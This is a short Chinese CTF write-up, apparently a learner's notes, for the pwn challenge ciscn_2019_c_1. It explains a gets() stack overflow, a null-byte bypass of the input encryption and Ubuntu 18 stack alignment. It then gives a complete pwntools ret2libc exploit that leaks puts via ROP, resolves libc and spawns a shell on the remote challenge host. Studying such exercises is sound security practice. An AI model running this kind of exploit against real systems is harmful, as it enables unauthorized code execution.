记录下学习pwn的过程(感觉比re难多了,我太菜了)
查看保护
64位程序,64位程序 的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9,多的参数再通过栈传递
在encrypt函数里使用了gets函数,可能有栈溢出
发现对输入进行了加密
可以使用“\0”绕过
构造rop链,需要使用到rdi传递参数,又因为是ubuntu18所以需要栈对齐,使用到一个ret
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",25805)
pop_rdi_ret=0x400c83
elf=ELF("./ciscn_2019_c_1")
main_addr=elf.sym["main"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil("Input your choice!\n")
p.sendline("1")
payload="\0"+"a"*(0x50-1+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
puts_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc=LibcSearcher("puts",puts_addr)
lib_base=puts_addr-libc.dump("puts")
system_addr=lib_base+libc.dump("system")
bin_sh=lib_base+libc.dump("str_bin_sh")
print(hex(lib_base))
p.recvuntil("Input your choice!\n")
p.sendline("1")
ret_addr=0x4006b9
payload2="\0"+"a"*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload2)
p.interactive()